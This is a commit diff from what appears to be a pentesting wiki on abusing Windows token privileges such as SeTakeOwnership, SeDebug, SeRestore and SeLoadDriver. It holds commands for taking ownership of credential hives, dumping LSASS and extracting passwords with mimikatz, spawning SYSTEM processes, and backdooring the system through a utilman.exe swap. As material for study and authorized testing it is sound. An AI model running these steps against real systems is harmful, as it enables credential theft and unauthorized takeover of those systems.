GitBook: [#3543] No subject
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@ -76,38 +76,90 @@ This privilege is very similar to **SeRestorePrivilege**.\
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It allows a process to “**take ownership of an object** without being granted discretionary access” by granting the WRITE\_OWNER access right.\
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First, you have to **take ownership of the registry key** that you are going to write on and **modify the DACL** so you can write on it.
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```bash
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takeown /f 'C:\some\file.txt' #Now the file is owned by you
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icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
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# Use this with files that might contain credentials such as
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%WINDIR%\repair\sam
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%WINDIR%\repair\system
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%WINDIR%\repair\software
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%WINDIR%\repair\security
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%WINDIR%\system32\config\security.sav
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%WINDIR%\system32\config\software.sav
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%WINDIR%\system32\config\system.sav
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%WINDIR%\system32\config\SecEvent.Evt
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%WINDIR%\system32\config\default.sav
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c:\inetpub\wwwwroot\web.config
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```
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### SeDebugPrivilege (3.1.9)
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It allows the holder to **debug another process**, this includes reading and **writing** to that **process' memory.**\
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There are a lot of various **memory injection** strategies that can be used with this privilege that evade a majority of AV/HIPS solutions.
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#### Dump memory
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One example of **abuse of this privilege** is to run [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) to **dump a process memory**. For example, the **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local\_Security\_Authority\_Subsystem\_Service)**)** process, which stores user credentials after a user logs on to a system.
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You can hen load this dump in mimikatz to obtain passwords:
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```
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mimikatz.exe
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mimikatz # log
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mimikatz # sekurlsa::minidump lsass.dmp
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mimikatz # sekurlsa::logonpasswords
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```
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#### RCE
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If you want to get a `NT SYSTEM` shell you could use:
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* ****[**SeDebugPrivilegePoC**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)****
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* ****[**psgetsys.ps1**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)****
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```powershell
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# Get the PID of a process running as NT SYSTEM
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import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
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```
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## Check privileges
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```
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whoami /priv
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```
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The **tokens that appear as \_Disabled**\_\*\* can be enable\*\*, you you actually can abuse _Enabled_ and _Disabled_ tokens.
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The **tokens that appear as Disabled** can be enable, you you actually can abuse _Enabled_ and _Disabled_ tokens.
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### Enable All the tokens
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You can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens:
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```powershell
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.\EnableAllTokenPrivs.ps1
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whoami /priv
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```
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Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
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## Table
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Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.\\
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| Privilege | Impact | Tool | Execution path | Remarks |
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| ---------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
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| `SeAssignPrimaryToken` | _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte\_) for the update. I will try to re-phrase it to something more recipe-like soon. |
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| `SeBackup` | **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` | <p>- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (and robocopy) is not helpful when it comes to open files.<br><br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter.</p> |
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| `SeCreateToken` | _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | |
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| `SeDebug` | _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
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| `SeLoadDriver` | _**Admin**_ | 3rd party tool | <p>1. Load buggy kernel driver such as <code>szkg64.sys</code><br>2. Exploit the driver vulnerability<br><br>Alternatively, the privilege may be used to unload security-related drivers with <code>ftlMC</code> builtin command. i.e.: <code>fltMC sysmondrv</code></p> | <p>1. The <code>szkg64</code> vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. The <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">exploit code</a> was created by <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
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| `SeRestore` | _**Admin**_ | **PowerShell** | <p>1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege</p> |
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| `SeTakeOwnership` | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p> |
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| `SeTcb` | _**Admin**_ | 3rd party tool | <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.</p><p>To be verified.</p> | |
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| Privilege | Impact | Tool | Execution path | Remarks |
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| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
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| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte\_) for the update. I will try to re-phrase it to something more recipe-like soon. |
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| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` | <p>- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (and robocopy) is not helpful when it comes to open files.<br><br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter.</p> |
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| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | |
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| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
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| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. Load buggy kernel driver such as <code>szkg64.sys</code><br>2. Exploit the driver vulnerability<br><br>Alternatively, the privilege may be used to unload security-related drivers with <code>ftlMC</code> builtin command. i.e.: <code>fltMC sysmondrv</code></p> | <p>1. The <code>szkg64</code> vulnerability is listed as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. The <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">exploit code</a> was created by <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
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| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege</p> |
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| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U</p> | <p>Attack may be detected by some AV software.</p><p>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.</p> |
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| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>Manipulate tokens to have local admin rights included. May require SeImpersonate.</p><p>To be verified.</p> | |
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## Reference
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* Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
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* Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing\_token\_eop\_1.0.txt) about privesc with tokens\*\*.\*\*
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* Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing\_token\_eop\_1.0.txt) about privesc with tokens.
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<details>
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